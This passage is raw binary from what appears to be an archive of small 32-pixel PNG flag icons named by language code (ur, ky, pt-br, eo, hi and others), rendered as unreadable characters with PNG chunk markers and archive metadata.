�RB�x�p�6ϩ�<�ܞ���s����
��*��*W��X�|�N^�D�_�K��G�� ���-S#��--2�э5�Tѕ�N͞���U�D��y|>?���s�m���{�FW��sxs�RǴ3��'�*ˀ4�DvP�C?
����\e�[/&Q*��j�x,�g8:�JNh��M�<s�:����s�pl�.��`7��V�u���2��Zkl�Ͱ�����(~X<�G���py������4�|čN�D�e���"ͤ�T~�/�Ϣ���kH�J����R��>������n���78Q[�ѭ0]l!���/��`O��h��/+Gx���J��½	z�O�T�
s"b|���L���8���Nʵ�I>�������(�b���Zk�[�:g�������/���r����ߜv����`<�!V� �j�}�H�&�s�} /Ֆ9RYc����r��|u�5��֕�Po��k�`HY��ٟ_b�[�8
cܡ
�w@����쎒s4���ť�ay項���Q#�i�z\@�\��)B�����t��n;Q���b�XУ��S��=��������k9Pir���Nwl@�NQ&kDCjrh��Hy���l3�D[-��v�B��������@`8	�?�X����o���4+B���Y�g̘�+����IEND�B`�lang/32/ur.png000064400000001711151721413470007052 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FOIDATx��]hW���3�k6�lT6��ǿJ6�?(�HK[m-!T+h^A��c-��+ŇR,	�VBkm�P[hI��&B"�]��;��a'㮓�	�&/8�̞sf�{��s�
��)Y^@���B��:Ь�����{lW�S�0t��2H��c�����ҽ��*�G@BPʿ~����m*�K�-����К�Y�՗�2��
�d�f����Wf��+e(�X4��X���1��f��̹��|V���N���'�| N�h8�ɀQ
�H��C'�M�A6`_oࣾ��������&sU�D`9fx��4{����W�00x:`_�s�����!���Эk5v�%ۜO���HOW�}o�q�~x��T��r���|M{��߳��5��Ɠ*۞�(��=�Q�M�n�3݉���F���u8��Qr�<!�JUJQl��v��&lmiE1=J��VF*M%��i�g9����r�.武�^~�e^} �EI%S�Où�W�����>D��;�3�:��r��R��̥/��p�{֯�	�Mi���W���
�@������-�n~���e�z�g�b[��t���H��ֆ7���7t�u1���c�T���MӼ��f�w6V5S�@"�`��|����_����p���ϫb�h
����*�O�^(O�?���q`�~���L�!�xn�����
�t�q/�H�<6��P��0O`[��b&���΁B�Y�	�O=L6%��1�N��g$�|~��pr��i���@�H/�X��P�f8���@A��s���t��p5�IEND�B`�lang/32/ky.png000064400000002026151721413470007047 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx���nE��S]=c;;F�@N�� Ed	/K$�%x(�سb���l!!�ـa�]]U簘�=�x��x��J�jթ�׹�%f�U���(�v��sd x`y��O��b�������q��{��U��
�⁶�u����(-E��4�S{�J�i��}ne��$�FV��M�����O������j�V�g���CV�hS�Ԅ�<�|�c1� %l8�FP�����L�+�?Q.Ln������nf�%ÿ��[�_S�U�|(�ǎ�'��֓�-a@�OhL蠏
G3�m��2�ה���H{��J��wG|T`�l�au=邈�XU�U�l�U�x%Ӿ��	i�`᝱G_{�e�~FK��:k��N�d�&-`)��>�Q�m~T,K�X���|��6JZ�F���Rm8�͈_�(�Kb�PO{3AR�'d�#s:�dh%����]�x@z��}�`��@�u���`�����6���8�4�,��~�,@*���[��.��q�����J��Ѯ��aʒ��9���ʹ�հhh�H{��&z<��r=R�G,(�/ZoFҞ��A�6F�g̜єNXJH��rRyߨ���k���w��w#Q?���>ק��a1�B�#�gd�Bz�Ȇc����;c�|6�u��W��%�]0�٥��Y�R�4�f����F�/h�+�	�]�~Xuԛ���a:@J�@S�'R�l�A�ޑ �␎!��B�+��lv�j�<�	���/b�փ��#-�jDj���ʏ,�Ț�=�,҂`������K�-�T�K�I��th�5��s�d�v ��a�;WNظ;pxxqδ�ؔ�M�i�y������7�9S��uIEND�B`�lang/32/pt-br.png000064400000003112151721413470007445 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��klW�����]��k;��Ď7��AS
��T)��U�PR-R�!BB*j�@	�E	�&�"㔖$�Q�������8q�ػ^{��>��]�nb��|�Fsg��{��9g�#�s\I�\a�@�\8_N3@���{����p�+�����X��|��hgPB�p�9*�N���j������E?x{j�AI�,��̄E������}DF�IX�Q�=|�-��+.�!�!� ����tH`�K��ZAd%]�E��q��FW3R��K����+�V�V��5:"��$����k;��Y��)�x3gZ��<��^t_*bk*�Y��R.�j%-�i���
��VWb:_ñ�Uḩ�=��=Eo�ύ�a(WGZY$�GC	��0�P�Ku�UIҳܵf���'�N��s}�|�c���o��ݯ�pO�}c��7�z��2E@h�
@l5�(`^W"`,F��q�����4����?�Nq&
�y�@��:����7���?qO�0�W����v���HyO.��Ȕ<�y�W��RR�!��"�/C�љe����)`����o�����SK*�0��T�8��B��J2>�������k�"���t�|���j,��Dd����w���%SҒO���Փ��i�=����k��ϡ|�Y�Ž/nd8?��B�O0W�c�@;;����"	�Ʒ���4?���d#5ʢ�AWg�6��)!Dȣ���Z�i�t�R�_<��_�G� ��
��6��Km��Z��<��O���M|�D��~�_|b�='�xz��b��ʻ��b\B�)�ȁ�*W,����i�'��S��9�~�W����]l��j��._��!I�d6l!ru~��5���G!��y��{_��w
i��	X�m�LQ�J`�%5�:��Ĥ$S�O�x�܄`�g�)�95��;��������:t������"�!�4k�[��`�Y�sMK�-�o�IRIU� �����4\����{��;(�0<;�ζ�-�pji���`��.�0�:�s���ɇ�G���?Ʊ�:*䅟<��s�-�9
Ő�ʓ 3�p���ދ���n��u3$Ȩ����Whe��OX�1��m��-<ul=�TĻ/���o΢.�p��\^���AN��)�ɐgױ�@���Ԫ%̒�,n�b(%q˔Κ�&���_��x3O|��g~Él+��z�tl�u��;Γ����K7p�L5�!���c!X���Zp�a
��Q���ld[�z���=��M�c������(��O���C�k���苋X�2�Ɗ���V��{���<z��㭤<KmB_Z
	��U�u�
��t4��ÓM|�o}x&��L\-Ǭ�U8��i"���|�K��Ɣ[ؾT+�o]�8�(�g�oy[����X��^��2��s�q��OP�p���⣟�+
�����Q��IEND�B`�lang/32/xh.png000064400000002510151721413470007041 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��klTE�3��.�}A��Q���
��EBRTH(�h��D��G|�h$�PK�р0�"_0
P�P(D*�>��ݽ;��a��.M���p��{g�3�9�?g�cwS$wY��R�;)��@�̷K[-�;~�V-�`R}3-U[�n�o�}/Q�?�򤴘1�$
����Gp��0e�6��qn�����g���@���8ʡ=ҁ1`4{~��s�Lf���Ȫ>L�T-�C��q�����mz��!��Il�'�4��8q'�3m�u�h���E��7��}��T������,���FI}��|]��������WZ��"�w�\�v� d^.��"#�-������/+�s�wQ����5�B�ܔ'���/4�$S��r����rA�[R!$���M
�o������eg�3<��g\.�(/'PZ���E�q��s����G_Z�p;���Z��aT�?4�QNO<tg;�������~�ȑD�Q�J����4T~�}<�8��gŢ
J��}s�љ�Lۂ���S�(�0aB}~~>�X�qc�޷�9��_
.5�KPx.Xvo0t�2�B���ĝ8�U?�I�)��0��Pw�﮲����;�t��B�J$�B�O�'m�롼D�����ىR��6
��jKvl�S<�|��i������e�PJ�D2X
$Q��&ɍ�F��Y>��2=�.���+�^�#{�E����.�R���F���z�c����h�Y���C6�;$ӗy��{�F��Q��M�<��CVP��G6��ڬ��݇�$�N[B,ΠP��\O��i�Ò0�ڡb�L�
��c\���‫�\,�|��k�Ŵ嚦�@�ɌeD�&SUQ���s�����(ҒEFFl��$ෑR�n�+e��v��̨�Ԭ�!�6�WU�Q>�Un�a��fʗ~E{G���e���DZ�T e��et*Q��WJ�l�=�%�&o"Z,NNn���D���,|a�O4��D���:�O�'Wk�Q �&K�!�`�cө\Yɩ���K>#����G�N�Ҧ��K� x�ռ6������_��

���d0� � '��J�qF?��+>fP��,^���-�5x�J�t:���<ɬ�3�P��w]es�F���6�3�U��0������7��䤞wR�Sܻ��m����o�ZIEND�B`�lang/32/eo.png000064400000000632151721413470007030 0ustar00�PNG


IHDR  szz�sRGB���gAMA���a	pHYs���A�tEXtSoftwarepaint.net 4.0.12Ck�
IDATXGŔ=AQ�o>�� �l��,&��� Q7_��,��ŀb��d��r=��ROR��s������t�c�+T*�R	�J�Tr�|��<��~���%kwmv��
l�䜜9="+И6�F�=cn	����!��"^�#\	_�ZI;�ּ|?�a�>H���f"*`�l�J�럈֢8��I�L7���
�s����,3��fw��YR�]+��{��j��o�R	�J�TB�*�P��J%T*�R	�J��_�R	�J�TB�*u�:b]*��S7*IEND�B`�lang/32/hi.png000064400000001275151721413470007031 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FCIDATx���kA���l������Rmmk�b�X��RD��o�?K�T��M�"��x?9k?*�k��1�ٝ��CbE��8�������3�~�;JD�:�]d�\��)4B���x��~�W*����	�C3~���%@!rX:A�* m֡��j�_���~jO��k!:��|�5�4�q��Ll�3�$u$�<L�X�4jHR��:��	Yq��k��b���s;E5��٫��{�����?yǑ�"g���*���w^p�$ߢ�J��Ź	����^�Q*v2Ayy��͈$��}�J�snf�����ט?;�d�h��M=J��S� j��&p)J���s��[NN��=1ąӣ̝�փ7LO��z�s:�u1?;ƕ�e���)�vs�����0���J���f���
���T�vKZ��f�a8~u�$��䬧nݻ2Y��Q�̄��0@�S�*��mk-��/�����Nh�A)��X�VP�#P��o��J)���z���
`D��f�U�Q�p�<�:��Zw�|����U�^N;
�}m�1@@�IEND�B`�lang/32/az.png000064400000001472151721413470007042 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�엻kA��;7O�0
A�NE�-�h�4ZX�6������`gci�� ���2���`�B�	h��>wvg�X�����^�ͦɁ�����;��Q"�nJ�.��@w��S`40x���Z�K�R0�����P1u�p�>]�@�u��X��$�H�Y�I��6t����[x'D�b��e���X�����"K�ؿ�8�::0�զ
�BH�`��ZO�Փ\�:he�:�T1TjqnAhb�x��
]�@j���PO��S��!�����/�z�2�6`-�\E����U���=$��@uvE�wHݴ�u��GL�2 ��+Ę�Jl�*��m��)>}֘C@��p�%$�K"��Z�I+�$�{�L�����g. �j�}82�ċ�`�/^j��V��0���j���+E�\��)��]H���$q˷�R(���O,8�7T2�4�����߼c��[�k�����gp++-cڪs���M�-�m���+��ޣ��qF�GON����V�p�kHb�,d�*/H����8�bb~^�F������cc�RyGc�*�$q�@=�ʂ��˧v��n�<֨���|�J��6��=�vB��f���l�Ʌ�$�^P�@�6XoVB���zs�%�D�Rq}7N�N���xΓ��T�N0�h�����t�����o�oIEND�B`�lang/32/sw.png000064400000002520151721413470007054 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��ilTU��s�Ӂ�b�%R(�.(��$"
K���Ĉ	�@Dd��E�"�b�%
A���C%hDj�5h�@
mY��ә;3��s�ѡ��Z!��Ͻ79_�����^���n��]�{`��N�� -��jS�>2B�IFr�W�!�m
_|;vI�L��0طo_��B04�ϭ��A*�����u��U�c�.�xM3lX�'O��{�T��t�����xo@�wS�D�5��cR��T��|�AV�]{4�O֠�v�D�Q��A��D�X���@D�t����]A{���%��/7?_,ˋi�x��XNˉ�PER��N���QŹ�6�(.T��u��e�4�����;Q�0�iI6�{�ȸF�M�v�#��F���-o����caBv�?P.����u�8K�d�J��G횕�*�9
��3��@�}�
���V��a� ���|�

��s���w5*��@?���m�xs� ʎ��6nb���z�""cM��nx�B�=tN��;�;\��nQ��e���S3fj�bŲ�TV�i�a+�	@�8���R��#3+Y4�O�BL�Ce�Uw�,(\�	<҆��Q�e�
a�MlG5��P�jDu=���g8�x�I��z�dq����}����*T\��`��#(;�	�04Xs<������c��������R�{���K�>O�~�r�8)	�,̞{��e��QT_�AJ
�y��։�H�QZck��c09��rNQ~"D�D����潲m���0gY.�=
��6��-1'A��QBQ3H��X3�:��b�E��z�ќ����5�?�wa���v4R�
���6�������u�x�cEy�I��yq
l�ʽ��צּ�)�q���
{!�j����v���Dlɜ�Y��1�1[s����r�|R��3����.��m��nXus�8%����~����x�P��ŧ.�cP����l�L���(7�����pu�L��a�N�5�����06�de�po�m��q��F=�2��=eStwd��6��X�Z�Ϩ�1�~��c�uZ�(��Li�%�ht
ͣ��)�Fs�x��cgP�}6�"
c���(���5B|>�?f�`������"�����ut�V�d�t\h��;%6�hr��[�W3<��Nt��k 4D�]!���w�m�จ����;Q (��m}
*�x3IEND�B`�lang/32/mg.png000064400000001033151721413470007024 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��;N�@���8	�HH��� �AA�(�
�A\�H�WL���8��pb�U�d۫]ͷ�<v,��&�a�c @�f�uD�W��*;�/�<]8��9�A�=;�g��ǏO� ���f/CD�Y��'��̠q�
jaG1EseDW|3� I��&?�w�h�����l���Q�@���CѸ�����Bxɯy�X�ϋuh\�,��TC5_)�t��)�I���@C�U��ċ��i����@U��k��U���e!��[HIS�+P�U/yKJ�CH��9�1��OPH�]���`�U?"�����Z���f�X[(��U�׈��fPG�ή7�YJ�u�1�Vn�x{��p��knˇ��dMi�Ns�iD��lN7
�3c]�\���IEND�B`�lang/32/ny.png000064400000001501151721413470007047 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx���nE��ݻ�-�Zv�XJ�@�
�,��\�0y�\s�;pC����dE�ew'�3�]�a'������/�Kk�k�?U}U]-f�m���<�ӬCJ�LOOO_{��'"|��,U��+M��"���9����Q�s���\��=�,x�
s�05e�9��󭃗9s�������R��*f���+<���hf*��C�̸ș�L9ϗ!�f^�a`�H�Ȁ�����	�JY��V�^�"��_S�ܔ���	�?s�I�d%��Fc.�Œ����1F@���,)�r�xO��Gc^Ă�bͣ�)�u�&��>A��/�"��Sdn��s<S�u ��r��(�-��oš`��c!o��V�J3w��ge�Cp�(z��'��.��bq	�˃�e���'�݈�ϷX�2KDލ����c��a���{S�� EtQ`�$4[���ڧ�v�*��^�b�N,%t��֥����C���Vb��2K�)��.���ȗ)�EC��I@c�r����mCo۾�N�غ�2�[�����m�h=MySo��T��bB�:x�b��N|���;�<�~���ϚN�3!8�aTH�I����ʡ&dͩ�	5����+��`j�!d��*��ǻ��Pkd3c>��6��,�G�����"͛`ҬCJ,�����7�y^�IEND�B`�lang/32/mi.png000064400000002344151721413470007034 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FjIDATx��m�TU���;3w'g�em}E3_B"
A#
?�!�C}
�/	����%��H�Ȃ^��],�
4

	_v�6u�uwݷ�s���s�0��;�ئ_|�pg�=��?���s�1�[�8n�
��כ
�V�|d�x�\���B��>�囏��K �w�Ɔ'��i�'��<Ń�<�o�Ʃ�--�&9@ݯg�z�]�M|��'��Kͪ��p]�>twM�au&�a^#=Sg����
M"a!�Ƙ�Y>~�@����ز �}b���X?�F����4K'*V�$����nŁO��HME(R�KÔ4��##!Bإ���O�1@�h}�	�&A^���4���y�,@��iEi�UX��6mk��7�Y.M���/�8v�tŌ ��R�<��%�	�sa���1����fH%12F`H&\Apw�s�|�j9ۛ#��G#�t��2q6�5�%B#�l-%]R�Bn	,�Q�@	��GU����y�rqaQb�0,l�"��4|�$Е�|���̝oV]���u)�uS̚^�n� BErԈ�����?t�ї����V0�D��%���8����g����/��Q
f�Y�֔��5ln�eac��fG5
`���8;``ϧ���b{k7h�=`E#�
�<��7Z.0��Gxz�����!�f��=,�1ߏ�F��G�����$��g���#e<����S��O�����1�|,c��a���h;[��g휓���ͩ�Y>OO�T�0�\X�޶�?����KI���R��x�ܹ[N�UBu}�I&�DQLmm��0����.�@Q�����::^_�H����ڼ��{�YV��e�I$l��j��0VıA)sgY�
��4JU0��U�#���)c�1h=�ݑ�cY5�T�������PY2�����i���޾F�c��,i�`��ŀ&�I�h�d��'��Wq�� �����>$��Me�^�,k�9fN�H��P4B�q�ߡ�b��sh��|U�"Jl;Wv>n�c���Gs� Y�~!
��
� �q�Q�5�R	�<ox<�f5�3�4`)0�&��}����M�)^of��'n��j�XkT�k�IEND�B`�lang/32/gd.png000064400000003147151721413470007023 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��{l���?���Җc���)-�R
��u��L�7�����x�QC'.ˌ[�m.��d�Θ�����bd�p��F�T��Z�X��N/��ޞ��=�N1�K�ɓ��<�����=�PJq9I�2�g@��$	Xp�R����ɯ_��c�!�&�?-�i�\�����1��d�{!�X��:]��)}8��!��0�O�)Wz� �p]�\��B�@ �s�SbLC�\%Z^��z��@ç#��;�H�-�T�p���E�~�r@k�!z>/:��6Ħu1�n��:d,ӖX�Ě�>�2�K:�|Q%��c�*?�L���`t��y��k��Y��&�C*�q�W����K�2�q����q=J�:w}��Z�͂Ş#}��3ɩsc�� m��x���Ϧxh�R�s�kZ�����.z��0"o�R
�rYXbӺF�eE�G26m{�'��,/A�Ŵ�Tdr��wO$���4�]��WY0��m���u�yp*�qˊZ�yI�&�X�0m{���dL�� _��y���:Y�E�o�ǖ��*��74�ъ�$Q<�e|��E�}ZQ��F7�z�$�c6B8�C���;�n8��x�!g�)f�S�nw�?��;[h�	���Ԇ��"�O'�<����]C�]8���Sخ7#�G:�`�
B���O$�<��w4s�uJ�fQ��^~����m�Aב�L`E��^��T��\�����ds��h��w�hy`�sCc[vt����|~]#c�E�lW�J�1��t�ő�E:�B�6��lW^��9��w Mj�D�0���O�(/�MOCWJ���*ZY�A��'���-7reU�E
�	��'o�W�k��9�ʔ�ÑrF
��&f�̦agZ���8+��-R�L��Ԅgx�&�(�{�0�!����榄�ɗ�D<��\��0M�}�-e�S7Ϫ�o��X�ÿ��{�s��h����~v��a���-��+���D�Mw�*!�Ra�\"���牍�)	�c�i;�p�f4�s���dusuA��u�}�J��q��#c&�����$��]ۧ0��";no��ֶ[��Wy�;��k[���w��i�}J�����>z��"�o���m���)Jn�B)����ַ
tZ�]Om�h�:�Ƨߦ=1L��?5&�����>;Ʈ�g���Ѵ����*����%GO�Ǵl����:������[��
M�
�hn?��c<��QF���q�*0|:����wz�جj��?cr�
�ۮ�OK]�O�1�ޮ��uv��jn�)��s�����%'��?��<��3_l��̦x�P8��OsCm�b�T����0dϿ~���`,��^��K��ǖo^Ńk��R)��p�������/��O��O}�9��a�B�ݳ�������j�����K|-N��?A(���d�ⳟ��m����k?�3IEND�B`�lang/32/tr.png000064400000001633151721413470007054 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F!IDATx��1oI�����8�����IC�ET(-��8���@�P�#�!E'�A�� Q h��"R $����l��ݝ�G��fח �6
O���v�f��ͬ���ؾ(�J�>O3@���?����Jq�I��8�;u*��W��Pk� �6�0HK��~8M�������9�*D@�@k��Cz�\��^����v��n7��/�i��t��Z��xG�b}������[��S� ����fg�pw�{A��S8r�^���ѿ�G$S[E�v�t���9�W�����£WWpk5�r��{����@��ƶۉ���L\�@�?ٸq33�}�v[�� ID#�k!�E�n#}�}�?�<Dh��Y��4U�K嗟�X���	?z���Ȱ�$5J'O�ɱ�I�z9�2��a�N�����g�]���oƢ'����2�Wk1[[�]u��G��
0�����ЭT�OC�5�Z�'O���ד��-z�w��z�ճg(����i��sD�X��ZX���q��|��!��n�^����H��d��u,���~�������S�o�MO'�ݩ�c��]�����d+����{�y�.b-�׮Qn4(7�++��5��E>��'J��B���vikݻG�9cssff��O��S��c�|�] 0�|��5\Z"\Z��ϣ�����>�s�
e�*G��£�xnic��f�w¾ڌǁ�����K�'��<-Z����^|��Ԇ�IEND�B`�lang/32/mn.png000064400000001604151721413470007037 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F
IDATx�엿�U�?gf��K��^��+�@�BD-�t���)�BH�Y������ų��`��	��`�o�ٝ_��sR���$o�"�^��v���|ϝ3bf�H8��@�Ȼ�(G��yx�%�77�Dy��툭'��oe��$��
�\<3�����'�n�4
�lƲ,E�~��׮˚�2�j듧k�"��'�݁��3�be�Uuk�$`��9vj/-��3d��Ч�\ ��ѪD���{ʽl�.hT
�~[���cE���a��"�a�za�>`����
�:���;��_n����@����b�-��Ӡ
`+tP�F�(6bX��V-вBr�?r�B�� ���:u�H;�*g�w]��Jo���#`���W��j_#�
�{���ߵ�|tuL��e��_��t��=�����`�����C��_aVvaJ"S0��@��������O���?L(~N8}�u��y����F��ɺ�w��}�s�rM���Nx�h�kFm�AE����Vh�$�=կ��K
������I7���^���1Q�L�����y/���f��U���U�)�
�.�
��֙���E�N�	���^J��w�򧬋��ԑC���U��l�"_���xu�?GhE�������E�.Mm
�g����U�"B2o�;��5�C~��
 ���l6h4:ᖭ[��N%A�s�����O�ߥ�&�t�Q�x.o>N����X��c�W|IEND�B`�lang/32/ig.png000064400000001201151721413470007015 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��M��@���=�)!!���q�,8�'� q8
�-�D�_����E�����d3�)��~��UuW��;����3r`P�s��^~��e�g�������v�E�qs��F�d||����u����
0*�A2%���r��ul�q|����;s�yu=�J��07�(S�E�6�2�*@Te���6�����Җ����V,b��6�<�I� �\��9�j��j�r���΁M�rŲ/�q7)6XbV-���j��Q���Ս��*󰠬e6URDNV`�����nFK̂���s��"y���@4�x9=~����I �n�[/�pԅ�{!p�z��p��I��gS�݉�yj³�o4
�Ct���-{8�c�Z�T��k,�{��5�9*�Q@ɽ������'T�']8O�E0�-o��\���oC���^���8L���&�I']��T��7gn���~kN�L���&�w%�C��oIEND�B`�lang/32/yo.png000064400000001201151721413470007045 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��M��@���=�)!!���q�,8�'� q8
�-�D�_����E�����d3�)��~��UuW��;����3r`P�s��^~��e�g�������v�E�qs��F�d||����u����
0*�A2%���r��ul�q|����;s�yu=�J��07�(S�E�6�2�*@Te���6�����Җ����V,b��6�<�I� �\��9�j��j�r���΁M�rŲ/�q7)6XbV-���j��Q���Ս��*󰠬e6URDNV`�����nFK̂���s��"y���@4�x9=~����I �n�[/�pԅ�{!p�z��p��I��gS�݉�yj³�o4
�Ct���-{8�c�Z�T��k,�{��5�9*�Q@ɽ������'T�']8O�E0�-o��\���oC���^���8L���&�I']��T��7gn���~kN�L���&�w%�C��oIEND�B`�lang/32/nl.png000064400000000725151721413470007041 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F[IDATx��J�@��I�V��(���ų ��_ʗ��y��-m�43�ik�q�s�&��f�g���gd�9�@�Y#C�2����/Ƀ�p��|���d�w����w�A��
U�
G,e)"l�TD~�l��淛y٠U	�MԊ�
�(WI��w<��_yE	���ZcE�E�w��6���	>����a�P�Fl������m/&$r}��@���B���f���No�p2�JC�w;9�����<�X؟�|
�j�)�T���4Gx�0���T`�"��L[M辠�t�e�ө1
��@�n��`�O�U�;A�Y#��r����{ܒ�o)6��IEND�B`�lang/32/mr.png000064400000001275151721413470007047 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FCIDATx���kA���l������Rmmk�b�X��RD��o�?K�T��M�"��x?9k?*�k��1�ٝ��CbE��8�������3�~�;JD�:�]d�\��)4B���x��~�W*����	�C3~���%@!rX:A�* m֡��j�_���~jO��k!:��|�5�4�q��Ll�3�$u$�<L�X�4jHR��:��	Yq��k��b���s;E5��٫��{�����?yǑ�"g���*���w^p�$ߢ�J��Ź	����^�Q*v2Ayy��͈$��}�J�snf�����ט?;�d�h��M=J��S� j��&p)J���s��[NN��=1ąӣ̝�փ7LO��z�s:�u1?;ƕ�e���)�vs�����0���J���f���
���T�vKZ��f�a8~u�$��䬧nݻ2Y��Q�̄��0@�S�*��mk-��/�����Nh�A)��X�VP�#P��o��J)���z���
`D��f�U�Q�p�<�:��Zw�|����U�^N;
�}m�1@@�IEND�B`�lang/32/da.png000064400000001123151721413470007005 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx���jA�5�bV=xA��kx���!�%�(�!��&�;������5����e���LU�W]]_w���M�ز��L�qL	@連����������n��������e�}�69��V��OSL,�*�-E���T����WDzv���`��[XQvF7a�ؾ�}�NQB�p<ZhQ$-c�}'w��>`�[.���w~.CC t��yZ@�(��k4��˴8�aê*.�G/r쯚Z�U�x%P�G|����kV@�fv�y�;��Ml�����|}�)K�k��}��ӿ<}>���a�1��~ҡ�cuԆ��ͰĀvއ���� u/�;"Q����P
�.�3|$���F@�u=)Bvx�F"����x ��l>��t6��7��in�<^G&�s�4o�{�8��������g4f���ӗ>IEND�B`�lang/32/sl.png000064400000001332151721413470007041 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F`IDATx�엻kQ��{wv׍��V�h0(ha�66�����b'b�M���UD�:QQ| ��R�D,4f�}��DZp7�0I�u��43sg�|s~�8W��̀�?�@�y�3������ڦ��*0���T�����C�ҷ"˅*;Ƈ�̏�I��U���t���e떈���i�6��'!;�����J��bcc=?�C��2��9׮@�$j�Anb
�P|Z\b�7@|����M>��V7�=�o�z����!"�9}����q��6�t(��W)l�)W"ʕ� ��7���3�͏�Rl0�+�ѩ1n>�Ҵ0�3h���ܳ����S�F���!��E��y��c��›�|x����I�_7�F��YOd}Ojƴ�5<��	g�?��P��}�������=����=�E��`��<3���C��/��4���gq��}�K�s���+��?[�9���[�Y5
��V�r�J ��i<�X�x�|��E��T
�5�-o-A�mv�A�Y�}[蘢�S8�A�ؒ�T7�A��:iV@g��K��R)�Y��mN9�0�<����C����(����A��#*��vIEND�B`�lang/32/sk.png000064400000001656151721413470007051 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F4IDATx��M�E��]�3ff�YB�ٕO"^#�zu/�p�уBBL�Q�!�������H�^�0�!��
������LwU�󰝙�|hF���>(��x�~����0J���(�r�u;-b
�D�>��W���#����T��9��[��Aqn��H�Y\��J%�;F�qHS����L^����Q�^:�
�J1� ֢�����1��}3��]c�͸��N��N�&�y��1i�Ξ�G���xe��9C��Ug�"qL{Ð��IV۸�?x��7t3_���u'��h"�$	^�@saWoP��j�̣��B��1lt̀�Mg�K#��5�:ZQ�1npi��J%ʧO�޽��NR>����o����i{Kl��y}k�(������u~?x��WT/_f�אB�G>���w���x1ׯ6����9hm��Àc���˻�� ��i���y���c�~�֧��H?y1|[<���)a���eng�I�������MW�Ee����19���$���Oޟy�+o�)rA�ٍ5P�}�Ͽ�i��H2@(>�1}��:G �$��|q�$�?�g�O9ue���N�	.�Wa��<�.���!V
W�Ub<����V@kD�u ��Pݺ���2�1��8�B���E�p��C�Z�4ݭ�@�<L!� ���������7o�j�Qa����S�P�Q_C:k-�v-Kb��.���OE��4�d�
�m��
�:��ln��ޛT�����,�V��U&J�#�1�R;?���{GM��z��IEND�B`�lang/32/tg.png000064400000001420151721413470007033 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��ˊI���YU�Vۂ�;�2�pQĭ�o ��7����*��Qf1(ma{����̨���R
bV�fo<����?��QU���\�`�|kl�"��t��g1�����;�E�����^���\cD�Gk��J@w߶��k��d���
 �=F��h9j�K�`@�e3���P�7�<g��3YP䤙e�*���S�q�,�>5�ʯ��r�
\��s�=�+�og
�Z�*a�Ǹh���oS%l�8R��-!5x�������?��'�!��GW�`<W��F�)V{��� ("B���/�/]�f]P%!�/���9�ch-��fhu�
���c��+R��9x��먷\��k-�c�иF9xB�D�k�Kk����hj���cL�.H�_�h�`��%>���A[Wh/^�9�)a�S�R��Vg�`�`��.!��#4���V0�W���z�Ni��훟�&U����9l���%�����;lvt*n�s�>�Ɏ!�.hx�j�\�1���O�v��E#ߢܶ)7�.q��Um�`lè��s�~DEHqB�"���WV���&�
s0֢G���e�
���3������P~N���"5�:~�IEND�B`�lang/32/jw.png000064400000000752151721413470007050 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FpIDATx�엿N�@�?����JH���@����T�LHT�I�\�l�6M���֋#����vtbf�i	=�	@�0�}L@����oD�/����U
�%I�xz���M>�)0��9�gF3�"@wLEdC�k���vu�x����-�(W�}��<s ��+J�<)��Zq�~���[��r%��	�!����`�[hU�y�-�Q�+�9�>��sl���U�����n��X��=�eXY���؈t�:q�m���i�{��&y�UU��ԛW�;3���#�Ovm�(�P����y�!�T���x{��1lR �*�鴏=����E�ޥ�\�>���\N�Ӿ~P_�M*'��IEND�B`�lang/32/ne.png000064400000002341151721413470007026 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FgIDATx�ė}L�e����{�!�,�s�L!]�G+SW.]������\E3�Nl6��ޚ��Pk��5�46-k�r�i �9P�R��^�����	]�l���9��=�y�<��{)2�Z�#��}v��W�V�����5�#�k&_m=�A����!@��K��[{K��ޝ�60�ҁ��HK�z�dM5�ʚ�z����m�s#V�y�H�sS�,��] IR|~��
��5�6�")���8�-��v�z;-������^eX��^�
4��uA���z��������ܕ�l}�PU
��ETIB

�>}�
�JR]%��ځ=m�˹?�d���@Eё�G"$����Nl��� �{�,G#���ꃿ+��Yμ���f�
l�V#GF0m�#`�b}�	��l�� 	�����t�����_(k�*��2s��m��^E���B��%��L0͡j4	��A-)G��C(*��M�=ed����.��i�/m�}x54�]����
�\�4+��4��M�x~���2Xѣ�	� x���`���������ʨ��?�x9�PC����F$�]հyh�!��t���K�"�8�8��\�,<�M�/���6؈F|���wK�E%�q��o(a=W���Ԇ��^��/γ���ϋ��7
